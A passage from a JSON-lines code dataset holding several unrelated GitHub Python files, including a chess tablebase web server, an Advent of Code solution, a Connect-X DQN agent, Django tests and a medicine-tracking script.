(move_info[\"dtz\"] is not None and move_info[\"dtz\"] < 0)\n move_info[\"drawing\"] = move_info[\"stalemate\"] or move_info[\"insufficient_material\"] or (move_info[\"dtz\"] == 0 or (move_info[\"dtz\"] is None and wdl is not None and wdl < 0))\n\n if move_info[\"winning\"]:\n if move_info[\"checkmate\"]:\n move_info[\"badge\"] = \"Checkmate\"\n elif move_info[\"zeroing\"]:\n move_info[\"badge\"] = \"Zeroing\"\n else:\n move_info[\"badge\"] = \"Win with DTZ %d\" % (abs(move_info[\"dtz\"]), )\n\n winning_moves.append(move_info)\n elif move_info[\"drawing\"]:\n if move_info[\"stalemate\"]:\n move_info[\"badge\"] = \"Stalemate\"\n elif move_info[\"insufficient_material\"]:\n move_info[\"badge\"] = \"Insufficient material\"\n elif move_info[\"dtz\"] == 0:\n move_info[\"badge\"] = \"Draw\"\n else:\n move_info[\"badge\"] = \"Unknown\"\n\n drawing_moves.append(move_info)\n else:\n if move_info[\"dtz\"] is None:\n move_info[\"badge\"] = \"Unknown\"\n elif move_info[\"zeroing\"]:\n move_info[\"badge\"] = \"Zeroing\"\n else:\n move_info[\"badge\"] = \"Loss with DTZ %d\" % (abs(move_info[\"dtz\"]), )\n losing_moves.append(move_info)\n\n board.pop()\n\n winning_moves.sort(key=lambda move: move[\"uci\"])\n winning_moves.sort(key=lambda move: (move[\"dtm\"] is None, move[\"dtm\"]))\n winning_moves.sort(key=lambda move: (move[\"dtz\"] is None, move[\"dtz\"]), reverse=True)\n winning_moves.sort(key=lambda move: move[\"zeroing\"], reverse=True)\n winning_moves.sort(key=lambda move: move[\"checkmate\"], reverse=True)\n\n drawing_moves.sort(key=lambda move: move[\"uci\"])\n drawing_moves.sort(key=lambda move: move[\"insufficient_material\"], reverse=True)\n drawing_moves.sort(key=lambda move: move[\"stalemate\"], reverse=True)\n\n losing_moves.sort(key=lambda move: move[\"uci\"])\n losing_moves.sort(key=lambda move: (move[\"dtm\"] is not None, move[\"dtm\"]), reverse=True)\n losing_moves.sort(key=lambda move: (move[\"dtz\"] is None, move[\"dtz\"]), reverse=True)\n losing_moves.sort(key=lambda move: move[\"zeroing\"])\n\n return html_minify(render_template(\"index.html\",\n fen_input=board.epd() + \" 0 1\" if board.epd() + \" 0 1\" != DEFAULT_FEN else \"\",\n fen=fen,\n status=status,\n insufficient_material=board.is_insufficient_material(),\n winning_side=winning_side,\n winning_moves=winning_moves,\n drawing_moves=drawing_moves,\n losing_moves=losing_moves,\n blessed_loss=wdl == -1,\n cursed_win=wdl == 1,\n illegal=not board.is_valid(),\n not_yet_solved=board.epd() + \" 0 1\" == chess.STARTING_FEN,\n unknown=wdl is None,\n turn=\"white\" if board.turn == chess.WHITE else \"black\",\n white_fen=white_fen,\n black_fen=black_fen,\n horizontal_fen=mirror_horizontal(fen),\n vertical_fen=mirror_vertical(fen),\n swapped_fen=swap_colors(fen),\n clear_fen=clear_fen(fen),\n DEFAULT_FEN=DEFAULT_FEN,\n material=material(board)\n ))\n\n\n@app.route(\"/legal\")\ndef imprint():\n return html_minify(render_template(\"legal.html\"))\n\n\n@app.route(\"/apidoc\")\ndef apidoc():\n render = {}\n render[\"DEFAULT_FEN\"] = DEFAULT_FEN\n render[\"status\"] = 200\n\n # Parse the FEN.\n fen = request.args.get(\"fen\")\n if not fen:\n render[\"status\"] = 400\n render[\"error\"] = \"fen required\"\n else:\n try:\n board = chess.Board(fen)\n except ValueError:\n render[\"status\"] = 400\n render[\"error\"] = \"invalid fen\"\n\n # Set the exact given FEN and a sanitized FEN for result.\n if fen is not None:\n render[\"fen\"] = fen\n\n if render[\"status\"] == 400:\n render[\"sanitized_fen\"] = \"8/8/8/8/8/8/8/8 w - - 0 1\"\n else:\n render[\"sanitized_fen\"] = board.fen()\n if board.is_valid():\n render[\"request_body\"] = json.dumps(probe(board), indent=2, sort_keys=True)\n else:\n render[\"status\"] = 400\n render[\"error\"] = \"illegal fen\"\n\n # Render.\n return html_minify(render_template(\"apidoc.html\", **render))\n\n\n@app.route(\"/favicon.ico\")\ndef favicon():\n return send_from_directory(app.root_path, \"favicon.ico\", mimetype=\"image/vnd.microsoft.icon\")\n\n\n@app.route(\"/sitemap.txt\")\ndef sitemap():\n entries = [\n \"\",\n \"?fen=6N1/5KR1/2n5/8/8/8/2n5/1k6%20w%20-%20-%200%201\",\n \"?fen=4r3/1K6/8/8/5p2/3k4/8/7Q%20b%20-%20-%200%201\",\n \"apidoc?fen=6N1/5KR1/2n5/8/8/8/2n5/1k6%20w%20-%20-%200%201\",\n \"legal\",\n ]\n\n return current_app.response_class(\"\\n\".join(\"https://syzygy-tables.info/\" + entry for entry in entries), mimetype=\"text/plain\")\n\n\nif __name__ == \"__main__\":\n try:\n import tornado\n import tornado.httpserver\n import tornado.wsgi\n import tornado.ioloop\n except ImportError:\n warnings.warn(\"Using builtin webserver, tornado not imported.\")\n app.run()\n else:\n http_server = tornado.httpserver.HTTPServer(tornado.wsgi.WSGIContainer(app))\n http_server.listen(5000)\n print(\"Listening on http://127.0.0.1:5000/ ...\")\n tornado.ioloop.IOLoop.instance().start()\n","repo_name":"rishab96/chessEndGame","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":15135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71918159282","text":"#day_4 AOC 2022 python file\nFULL_DATA, TEST_DATA = \"./day_4/day_4.txt\", \"./day_4/day_4_min.txt\"\n\nwith open(FULL_DATA) as f:\n\tsection_pairs = [[num[0].split('-'), num[1].split('-')] for pair in f.read().split(\"\\n\") for num in [pair.split(',')]]\n\ndef get_range(pairs_list):\n\tnew = []\n\tfor pair in pairs_list:\n\t\tgroup = []\n\t\tfor num in pair:\n\t\t\tgroup.append(set(range(int(num[0]), int(num[1]) + 1)))\n\t\tnew.append(group)\n\treturn new\n\ndef part_one(lst):\n\tcounter = 0\n\tfor pair in lst:\n\t\tif pair[0].issubset(pair[1]) or pair[1].issubset(pair[0]):\n\t\t\tcounter += 1\n\treturn counter\n\ndef part_two(lst):\n\tnew = []\n\tfor pair in lst:\n\t\toverlap = pair[0] & pair[1]\n\t\tif overlap:\n\t\t\tnew.append(overlap)\n\treturn len(new)\n\nprint(part_one(get_range(section_pairs)))\nprint(part_two(get_range(section_pairs)))","repo_name":"kilcorse-michael/AOC_2022","sub_path":"day_4/day_4.py","file_name":"day_4.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29868580956","text":"from PIL import Image, ImageDraw, ImageFont\nimport os\nimport json\nimport random\n\ndef drawing(types,fromQQ):\n # 插件目录 C:\\Users\\asus\\Downloads\\Programs\\github\\fortune\\server\\server\\fortune\n base_path = os.path.split(os.path.realpath(__file__))[0]\n img_dir = f'{base_path}/data/img/{types}/'\n img_path = img_dir + random.choice(os.listdir(img_dir))\n out_dir = f'{base_path}/data/out/{types}/'\n out_path = out_dir + f'{fromQQ}.jpg'\n text_path = f'{base_path}/data/text/copywriting.json'\n title_path = f'{base_path}/data/text/goodLuck.json'\n fontPath = {\n 'title': f\"{base_path}/data/font/Mamelon.otf\",\n 'text': f\"{base_path}/data/font/sakura.ttf\"\n }\n\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n print(\"目录创建成功!\")\n\n img = Image.open(img_path)\n # Draw title\n draw = ImageDraw.Draw(img)\n with open(text_path, 'r', encoding='utf-8') as f:\n content = f.read()\n content = json.loads(content)\n text = random.choice(content['copywriting'])\n with open(title_path, 'r', encoding='utf-8') as f:\n content = f.read()\n content = json.loads(content)\n for i in content['types_of']:\n if i['good-luck'] == text['good-luck']:\n title = i['name']\n text = text['content']\n font_size = 45\n color = '#F5F5F5'\n image_font_center = (140, 99)\n ttfront = ImageFont.truetype(fontPath['title'], font_size)\n font_length = ttfront.getsize(title)\n draw.text((image_font_center[0]-font_length[0]/2, image_font_center[1]-font_length[1]/2),\n title, fill=color,font=ttfront)\n # Text rendering\n font_size = 25\n color = '#323232'\n image_font_center = [140, 297]\n ttfront = ImageFont.truetype(fontPath['text'], font_size)\n result = decrement(text)\n if not result[0]:\n return \n textVertical = []\n for i in range(0, result[0]):\n font_height = len(result[i + 1]) * (font_size + 4)\n textVertical = vertical(result[i + 1])\n x = int(image_font_center[0] + (result[0] - 2) * font_size / 2 + \n (result[0] - 1) * 4 - i * (font_size + 4))\n y = int(image_font_center[1] - font_height / 2)\n draw.text((x, y), textVertical, fill = color, font = ttfront)\n # Save\n img = img.convert(\"RGB\")\n img.save(out_path)\n return out_path\n\ndef vertical(str):\n list = []\n for s in str:\n list.append(s)\n return '\\n'.join(list)\n\ndef decrement(text):\n length = len(text)\n result = []\n cardinality = 9\n if length > 4 * cardinality:\n return [False]\n numberOfSlices = 1\n while length > cardinality:\n numberOfSlices += 1\n length -= cardinality\n result.append(numberOfSlices)\n # Optimize for two columns\n space = ' '\n length = len(text)\n if numberOfSlices == 2:\n if length % 2 == 0:\n # even\n fillIn = space * int(9 - length / 2)\n return [numberOfSlices, text[:int(length / 2)] + fillIn, fillIn + text[int(length / 2):]]\n else:\n # odd number\n fillIn = space * int(9 - (length + 1) / 2)\n return [numberOfSlices, text[:int((length + 1) / 2)] + fillIn,\n fillIn + space + text[int((length + 1) / 2):]]\n for i in range(0, numberOfSlices):\n if i == numberOfSlices - 1 or numberOfSlices == 1:\n result.append(text[i * cardinality:])\n else:\n result.append(text[i * cardinality:(i + 1) * cardinality])\n return result\n\n#drawing(\"noah\",\"test\")","repo_name":"kanrichan/fortune","sub_path":"server/server/fortune/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"75"} +{"seq_id":"6701800691","text":"from PyQt5 import QtWidgets\n\nfrom user_interfaces.analysis_tab import Analysis\nfrom user_interfaces.experiment_tab import Experiment\nfrom user_interfaces.folder_tab import Folders\n\n\nclass TableWidget(QtWidgets.QWidget):\n\n def __init__(self, parent):\n super(TableWidget, self).__init__(parent)\n\n self.layout = QtWidgets.QVBoxLayout(self)\n\n # Initialize tab screen\n self.tabs = QtWidgets.QTabWidget()\n\n self.tab_experiment = Experiment(self)\n self.tabs.addTab(self.tab_experiment, \"Experiment\")\n\n self.tab_analysis = Analysis(self)\n self.tabs.addTab(self.tab_analysis, \"Analysis\")\n\n self.tab_folders = Folders(self)\n self.tabs.addTab(self.tab_folders, \"Folder\")\n\n # Connect signals\n self.tab_analysis.get_file_paths.connect(self.tab_folders.get_ticked_paths)\n self.tab_folders.file_paths.connect(self.tab_analysis.set_paths)\n\n # Add tabs to widget\n self.layout.addWidget(self.tabs)\n self.setLayout(self.layout)\n","repo_name":"Nanomechatronics/ItMakesCoffee","sub_path":"user_interfaces/table_widget.py","file_name":"table_widget.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"71150020081","text":"from django.core.management import BaseCommand\nfrom ptportal.models import Report\n\n\nclass Command(BaseCommand):\n help = 'Set Application Report Type'\n args = '--type [RVA/FAST/RPT/HVA]'\n\n def add_arguments(self, parser):\n super(Command, self).add_arguments(parser)\n parser.add_argument(\n '--type',\n action='store',\n dest='report_type',\n help='Set report type',\n required=True,\n choices=['RPT', 'FAST', 'RVA', 'HVA'],\n type=str.upper,\n )\n\n def handle(self, *args, **options):\n report = Report.object()\n if not report:\n report = Report.objects.create(report_type=options.get('report_type'))\n report.save()\n","repo_name":"cisagov/assessment-reporting-engine","sub_path":"ptportal/management/commands/set_report_type.py","file_name":"set_report_type.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"75"} +{"seq_id":"43741747702","text":"import datetime\nimport tarfile\nimport os.path\nimport json\nimport csv\n\n\nCSV_HEADER = 'epoch vid lon lat hdg des dly pdist'.split()\nDATA_FILE = 'data/bus.log.tar.gz'\nCSV_FILE = 'data/bus.csv'\n\n\n# sanity checks\nprint(\"Checking Sanity...\")\n\nassert os.path.isfile(DATA_FILE) is True,\\\n \"not found! make sure '{}' exists.\".format(DATA_FILE)\n\nassert os.path.isfile(CSV_FILE) is False,\\\n \"output file '{}' exists! I will not overrite data!\".format(CSV_FILE)\n\nassert tarfile.is_tarfile(DATA_FILE) is True,\\\n \"'{}' may be corrupted! 'tarfile' cannot read it\".format(DATA_FILE)\n\nwith tarfile.open(DATA_FILE, mode='r|*') as tar:\n assert 'bus.log' in tar.getnames(),\\\n \"'bus.log' isn't in the archive!\"\n tar_member = tar.getmember('bus.log')\n\n\n# create CSV_FILE and begin writing to it\nbus_csv_file = open(CSV_FILE, 'w')\ncsv = csv.DictWriter(bus_csv_file, fieldnames=CSV_HEADER)\ncsv.writeheader()\n\n\n# decompress and convert the DATA_FILE file to CSV format\nwith tarfile.open(DATA_FILE, mode='r|*') as tar:\n print(\"Converting '{}' to CSV...\".format(DATA_FILE))\n\n f = tar.extractfile(tar_member)\n for response in f:\n data = json.loads(response)\n\n epoch = data['epoch']\n for position in data['ResultData']:\n position['epoch'] = epoch\n csv.writerow(position)\n\nbus_csv_file.close()\nprint(\"Done!!!\")\n","repo_name":"s0ren/norta","sub_path":"prepare-data.py","file_name":"prepare-data.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9390428797","text":"from gameboard import Board\n\nimport random\nfrom random import choice, uniform\n\nfrom gamerules import Checker\nfrom abc import ABC, abstractmethod\nimport numpy as np\n\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.optimizers import Adam\n\nfrom collections import deque\nfrom math import exp, log\nimport os.path\n\nclass Player(ABC):\n def __init__(self, playernum: int, board: Board, checker: Checker,repeat:int=1):\n self.id = playernum\n self.board = board\n self.checker = checker\n \n @abstractmethod\n def play(self,e) -> int:\n pass\n \n def send_reward(self,reward):\n pass\n\n\nclass Human(Player):\n def __init__(self, playernum: int, board: Board, checker: Checker):\n super().__init__(playernum, board, checker)\n \n def play(self,e) -> int:\n col = int( input(\"Column: \") ) -1\n row = self.board.insert(col, self.id)\n if row != -1:\n return self.checker.check4win(self.id, row, col)\n else:\n print(\"Wrong column\")\n self.play(e)\n\n\nclass ComputerRand(Player):\n def __init__(self, playernum: int, board: Board, checker: Checker):\n super().__init__(playernum, board, checker)\n\n def play(self,e) -> int:\n col = random.randint(0, self.board.cols -1)\n row = self.board.insert(col, self.id)\n if row != -1:\n return self.checker.check4win(self.id, row, col)\n else:\n self.play(e) #Invalid column selected, try again\n \n\nclass ComputerDef(Player): #Defensive IA player\n def __init__(self, playernum: int, board: Board, checker: Checker):\n super().__init__(playernum, board, checker)\n \n def play(self,e) -> int:\n maxscore = 0\n selectedcolumn = 0\n \n # Tries to predict the other player's best move and 'steal' it:\n for col in range(self.board.cols):\n row = self.board.insert(col, -self.id, trial=True)\n if row != -1:\n trialscore = self.checker.checkgrid(-self.id, row, col)\n if trialscore > maxscore:\n maxscore = trialscore\n selectedcolumn = col\n \n col = selectedcolumn\n if maxscore < 2:\n col = random.randint(0, self.board.cols -1)\n row = self.board.insert(col, self.id)\n if row != -1:\n return self.checker.check4win(self.id, row, col)\n else:\n self.play(e) #Invalid column selected, try again\n\nclass PlayerDQN(Player):\n def __init__(self, playernum: int, board: Board, checker: Checker,repeat:int=1):\n super().__init__(playernum, board, checker)\n self.dqnagent = DQNAgent(self.board.cols*self.board.rows,self.board.cols,repeat)\n if os.path.isfile(\"./connectX-weights_deep.h5\"):\n self.dqnagent.load(\"./connectX-weights_deep.h5\") # load prelearned weights\n self.batch_size = 10\n self.total_rewards = 0\n self.all_total_rewards = np.empty(repeat)\n self.all_avg_rewards = np.empty(repeat)\n self.previous = None\n self.previous_action = None\n #self.dqnagent = DQNAgent(42,7,1)\n\n def play(self,e):\n #ouvrir fichier\n export = open(\"statistics.txt\", \"a\")\n\n previous_state = self.board.grid.copy()\n action = self.dqnagent.act(self.board.grid)\n self.previous_action = action\n row = self.board.insert(action, self.id)\n if row != -1:\n (next_state,reward,done)= self.checker.check4win(self.id, row, action)\n self.previous = next_state.copy()\n self.dqnagent.memorize(previous_state, action, reward, next_state.copy(),done)\n self.total_rewards += reward\n\n if len(self.dqnagent.memory) > self.batch_size:\n self.dqnagent.replay(self.batch_size)\n self.all_total_rewards[e] = self.total_rewards\n avg_reward = self.all_total_rewards[max(0, e - 3):e].mean()\n self.all_avg_rewards[e] = avg_reward\n if e % 3 == 0 :\n self.dqnagent.save(\"./connectX-weights_deep.h5\")\n print(\"episode: {}/{}, epsilon: {:.2f}, average: {:.2f}\".format(e, self.dqnagent.episodes, self.dqnagent.epsilon, avg_reward))\n\n # Saving stat to file:\n export.write(\"episode: {}/{}, epsilon: {:.2f}, average: {:.2f}\\n\".format(e, self.dqnagent.episodes, self.dqnagent.epsilon, avg_reward))\n\n self.dqnagent.memory.clear()\n self.dqnagent.load(\"./connectX-weights_deep.h5\")\n export.close\n\n else:\n export.close\n print(\"Colonne pleine: \",self.total_rewards)\n print(\"Winner :\", -self.id)\n # We penalize this AI hard when trying to play in a full column\n # Instead of letting it play again (like the 2 other bots), \n # we end the current game and set it as that game's loser.\n self.board.keepplaying = False\n self.board.winner = -self.id\n\n def send_reward(self,reward):\n self.dqnagent.memorize(self.previous, self.previous_action, reward, self.board.grid.copy(),True)\n self.total_rewards += reward\n\n# Deep Q-learning Agent\nclass DQNAgent:\n\n def __init__(self, state_size, action_size, episodes):\n self.state_size = state_size\n self.action_size = action_size\n self.memory = deque(maxlen=500)\n self.gamma = 0.9 # discount rate\n self.epsilon = 0.10 # initial exploration rate\n self.epsilon_min = 0.01\n self.epsilon_decay = exp((log(self.epsilon_min) - log(self.epsilon))/(0.8*episodes)) # reaches epsilon_min after 80% of iterations\n self.model = self._build_model()\n self.episodes = episodes\n \n def _build_model(self):\n # Neural Net for Deep-Q learning Model\n model = Sequential()\n model.add(Dense(20, input_dim=self.state_size, activation='relu'))\n model.add(Dense(50, activation='relu'))\n model.add(Dense(self.action_size, activation='linear'))\n model.compile(loss='mse', optimizer=Adam(lr = 0.00001))\n return model\n\n def _build_model2(self):\n # Second Neural Net for Deep-Q learning Model (Work in progress)\n model = Sequential()\n model.add(Dense(20, input_dim=self.state_size, activation='relu'))\n model.add(Dense(50, activation='relu'))\n model.add(Dense(self.action_size, activation='linear'))\n model.compile(loss='mse',optimizer=Adam(lr = 0.00001))\n return model\n \n def memorize(self, state, action, reward, next_state, done):\n self.memory.append((state, action, reward, next_state, done))\n \n def act(self, state):\n if np.random.rand() <= self.epsilon: # Exploration\n return choice([c for c in range(self.action_size) if (state[:,c] == 0).any()])\n #when exploring, I allow for \"wrong\" moves to give the agent a chance \n #to experience the penalty of choosing full columns\n #return choice([c for c in range(self.action_size)])\n act_values = self.model.predict(state.reshape(1,-1)) # Exploitation ###############################reshape##########\"\"\n action = np.argmax(act_values[0]) \n return action\n \n def replay(self, batch_size):\n minibatch = random.sample(self.memory, batch_size)\n for state, action, reward, next_state, done in minibatch:\n target = reward\n if not done:\n target = reward + self.gamma * np.amax(self.model.predict(next_state.reshape(1,-1))[0])\n target_f = self.model.predict(state.reshape(1,-1))\n target_f[0][action] = target\n self.model.fit(state.reshape(1,-1), target_f, epochs=1, verbose=0)#################################reshape##########\n if self.epsilon > self.epsilon_min:\n self.epsilon *= self.epsilon_decay\n\n def load(self, name):\n self.model.load_weights(name)\n \n def save(self, name):\n self.model.save_weights(name)\n","repo_name":"archenju/connectx","sub_path":"players.py","file_name":"players.py","file_ext":"py","file_size_in_byte":8137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72293876401","text":"from rest_framework.test import APITestCase\nfrom rest_framework.test import APIRequestFactory\nfrom cars.views import CarViewSet\nfrom django.urls import reverse\nfrom cars.models import Car\n\n\n# Methods -> list, create, retrieve, update, partial_update and destroy\n\n\nclass TestCarsView(APITestCase):\n\n def test_car_view_set_list(self):\n factory = APIRequestFactory()\n view = CarViewSet.as_view(actions={'get': 'list'})\n car = Car.objects.create(make='AUDI', model='Q7', engine=1.1, year=2001, color='blue')\n car.save()\n request = factory.get(reverse('cars-list'))\n response = view(request)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(Car.objects.count(), 1)\n\n def test_car_view_set_create(self):\n factory = APIRequestFactory()\n view = CarViewSet.as_view(actions={'post': 'create'})\n request = factory.post(reverse('cars-list'), {\n 'make': 'VW',\n 'model': 'Golf',\n 'engine': 1.0,\n 'year': 2000,\n 'color': 'red',\n }, format='json')\n\n response = view(request)\n self.assertEqual(response.status_code, 201)\n self.assertEqual(Car.objects.count(), 1)\n\n def test_car_view_set_retrieve(self):\n factory = APIRequestFactory()\n view = CarViewSet.as_view(actions={'get': 'retrieve'})\n car = Car.objects.create(make='BMW', model='X7', engine=1.0, year=2000, color='red')\n car.save()\n # basename('cars') + prefix '-detail'\n # request = factory.get(reverse('cars-detail', args=(cat.pk,)))\n request = factory.get(reverse('cars-detail', kwargs={'pk': car.pk}))\n # View functions are called with the request and the arguments from the URL -> (request, pk=cat.pk)\n response = view(request, pk=car.pk)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(Car.objects.count(), 1)\n\n def test_car_view_set_update(self):\n factory = APIRequestFactory()\n car = Car.objects.create(make='Volvo', model='S90', engine=1.0, year=2001, color='red')\n car.save()\n view = CarViewSet.as_view(actions={'put': 'update'})\n request = factory.put(reverse('cars-detail', kwargs={'pk': car.pk}),\n data={\n 'make': 'VW',\n 'model': 'Golf',\n 'engine': 1.0,\n 'year': 2000,\n 'color': 'red',\n }, format='json')\n response = view(request, pk=car.pk)\n update_car = Car.objects.first()\n self.assertEqual(response.status_code, 200)\n self.assertEqual(Car.objects.count(), 1)\n self.assertEqual(update_car.make, 'VW')\n\n def test_car_view_set_partial_update(self):\n factory = APIRequestFactory()\n car = Car.objects.create(make='Volvo-4', model='S91', engine=1.0, year=2001, color='red')\n car.save()\n view = CarViewSet.as_view(actions={'patch': 'partial_update'})\n request = factory.patch(reverse('cars-detail', kwargs={'pk': car.pk}),\n data={\n 'color': 'not_red',\n }, format='json')\n response = view(request, pk=car.pk)\n update_car = Car.objects.first()\n self.assertEqual(response.status_code, 200)\n self.assertEqual(Car.objects.count(), 1)\n self.assertEqual(update_car.color, 'not_red')\n","repo_name":"ArsenAjiev/custom_user","sub_path":"tests/tests_cars_viewset.py","file_name":"tests_cars_viewset.py","file_ext":"py","file_size_in_byte":3566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41288085644","text":"\n## CHALLENGE 1 ## \n\n\"\"\"\n Write a program that prints to the console (using a print statement) the\n numbers from 1 to 100 (both included) with a newline between each print,\n replacing the following:\n - Multiples of 3 with the word \"fizz\".\n - Multiples of 5 with the word \"buzz\".\n - Multiples of 3 and 5 with the word \"fizzbuzz\".\n\"\"\"\n\ndef fizzbuzz():\n for i in range(1, 101):\n if (i % 3 == 0 and i % 5 == 0):\n print(\"FizzBuzz\")\n elif (i % 3 == 0):\n print(\"Fizz\")\n elif (i % 5 == 0):\n print(\"Buzz\")\n else: \n print(str(i))\n\nfizzbuzz()","repo_name":"alanahuel/jusTryingPython","sub_path":"intermediate7h/challenges/01_fizzbuzz.py","file_name":"01_fizzbuzz.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10183072340","text":"import os.path\r\nimport json\r\nimport datetime\r\n\r\n\r\nclass Medicines:\r\n def __init__(self):\r\n # name: description, doses, status = True\r\n self.medicines = {}\r\n self.medicines_temp = {}\r\n self.medicines_new = {}\r\n self.now = datetime.date.today()\r\n self.day = datetime.date.weekday(self.now)\r\n\r\n # Check if data file exists\r\n def isFileExists(self):\r\n check = os.path.isfile(\"./classes/listOfMed.dat\")\r\n if check is True:\r\n pass\r\n else:\r\n file = open(\"./classes/listOfMed.dat\", \"w\")\r\n file.write(\"{}\")\r\n file.close()\r\n\r\n # Reading data file\r\n def readFile(self):\r\n with open(\"./classes/listOfMed.dat\", \"r+\") as outfile:\r\n self.medicines_temp = json.load(outfile)\r\n\r\n # Writing to a data file\r\n def writeFile(self, content):\r\n with open(\"./classes/listOfMed.dat\", \"w+\") as outfile:\r\n json.dump(content, outfile)\r\n\r\n # Adding medicine to the file\r\n def addMedicine(self, name, description, doses, status=False, number=1):\r\n number = doses\r\n self.readFile()\r\n self.medicines[name] = [description, doses, status, number]\r\n check_name = name in self.medicines_temp.keys()\r\n\r\n if check_name:\r\n print(\"This medicine already exists\")\r\n return\r\n\r\n elif not check_name:\r\n for key in self.medicines:\r\n print(key, \"successfully added!\")\r\n self.medicines_new = {**self.medicines_temp, **self.medicines}\r\n self.writeFile(self.medicines_new)\r\n\r\n # Removes medicine from the file\r\n def removeMedicine(self):\r\n self.readFile()\r\n self.listMedicines()\r\n j = 1\r\n id_val = input(\"Which medicine You would like to remove? Choose number from the list: \")\r\n id_val_int = int(id_val)\r\n if id_val_int > len(self.medicines_temp):\r\n print(\"Wrong value!\")\r\n return\r\n else:\r\n for key in self.medicines_temp:\r\n if str(j) == id_val:\r\n print(key, \"deleted\")\r\n del self.medicines_temp[key]\r\n self.writeFile(self.medicines_temp)\r\n return\r\n j += 1\r\n\r\n # Lists all medicines\r\n def listMedicines(self):\r\n self.readFile()\r\n i = 1\r\n if len(self.medicines_temp) == 0:\r\n print(\"None\")\r\n else:\r\n for key in self.medicines_temp:\r\n print(str(i) + \".\", str(key))\r\n i += 1\r\n\r\n # list daily status of medicines\r\n def checkDailyStatus(self):\r\n\r\n self.readFile()\r\n\r\n for key in self.medicines_temp:\r\n status = self.medicines_temp[key][2]\r\n if status > 0:\r\n print(\"You need to take\", self.medicines_temp[key][3], \"of\", key)\r\n else:\r\n print(\"You took Your daily dose of\", key)\r\n\r\n\r\n # Change status of a medicine\r\n def changeDailyStatus(self):\r\n self.listMedicines()\r\n self.readFile()\r\n i = 1\r\n c = input(\"Choose which You would like to take: \")\r\n for key in self.medicines_temp:\r\n status_value = self.medicines_temp[key][2]\r\n if str(i) == c:\r\n print(key, \"was taken.\")\r\n self.medicines_temp[key][2] = status_value - 1\r\n if self.medicines_temp[key][2] == 0:\r\n self.medicines_temp[key][1] = True\r\n print(\"Status changed\")\r\n self.writeFile(self.medicines_temp)\r\n return\r\n i += 1\r\n\r\n # Resets value of taken medicines every day\r\n def resetDailyStatus(self):\r\n check = os.path.isfile(\"./classes/resetStat.dat\")\r\n if check is True:\r\n pass\r\n else:\r\n file = open(\"./classes/resetStat.dat\", \"w\")\r\n file.write(str(self.day))\r\n file.close()\r\n print(\"File created\")\r\n\r\n resetFile = open(\"./classes/resetStat.dat\", \"r+\")\r\n value = resetFile.read()\r\n resetFile.close()\r\n\r\n if value == str(self.day):\r\n pass\r\n else:\r\n self.readFile()\r\n for key in self.medicines_temp:\r\n status_value = self.medicines_temp[key][0]\r\n self.medicines_temp[key][2] = status_value\r\n self.medicines_temp[key][1] = False\r\n self.writeFile(self.medicines_temp)\r\n resetFile = open(\"./classes/resetStat.dat\", \"w+\")\r\n resetFile.write(str(self.day))\r\n resetFile.close()\r\n","repo_name":"MADRobotNO/Vitaminator","sub_path":"classes/medicines.py","file_name":"medicines.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72065383283","text":"from collections import namedtuple\nimport random\nimport numpy as np\n\nTransition = namedtuple('Transition',\n ('state', 'action', 'next_state', 'reward', 'done'))\n\n\nclass ReplayMemory:\n\n def __init__(self, capacity):\n self.capacity = capacity\n self.memory = []\n self.position = 0\n\n def push(self, *args):\n \"\"\"Saves a transition.\"\"\"\n if len(self.memory) < self.capacity:\n self.memory.append(None)\n self.memory[self.position] = Transition(*args)\n self.position = (self.position + 1) % self.capacity\n\n def sample(self, batch_size):\n return random.sample(self.memory, batch_size)\n\n def __len__(self):\n return len(self.memory)\n\n\nclass PrioritizedReplayMemory(object):\n def __init__(self, capacity, prob_alpha=0.6):\n self.prob_alpha = prob_alpha\n self.capacity = capacity\n self.memory = []\n self.position = 0\n self.priorities = np.zeros((capacity,), dtype=np.float32)\n\n def push(self, state, action, next_state, reward, done):\n\n max_prio = self.priorities.max() if self.memory else 1.0\n\n \"\"\"Saves a transition.\"\"\"\n if len(self.memory) < self.capacity:\n self.memory.append(None)\n self.memory[self.position] = Transition(state, action, next_state, reward, done)\n self.priorities[self.position] = max_prio\n\n self.position = (self.position + 1) % self.capacity\n\n def sample(self, batch_size, beta=0.4):\n if len(self.memory) == self.capacity:\n prios = self.priorities\n else:\n prios = self.priorities[:self.position]\n\n probs = prios ** self.prob_alpha\n probs /= probs.sum()\n\n indices = np.random.choice(len(self.memory), batch_size, p=probs)\n batch = [self.memory[idx] for idx in indices]\n\n total = len(self.memory)\n weights = (total * probs[indices]) ** (-beta)\n weights /= weights.max()\n weights = np.array(weights, dtype=np.float32)\n\n return batch, indices, weights\n\n def update_priorities(self, batch_indices, batch_priorities):\n for idx, prio in zip(batch_indices, batch_priorities):\n self.priorities[idx] = prio\n\n def __len__(self):\n return len(self.memory)\n","repo_name":"koulanurag/marl-pytorch","sub_path":"marl/utils/replay_buffer.py","file_name":"replay_buffer.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"38732908440","text":"'''\nDesign of a 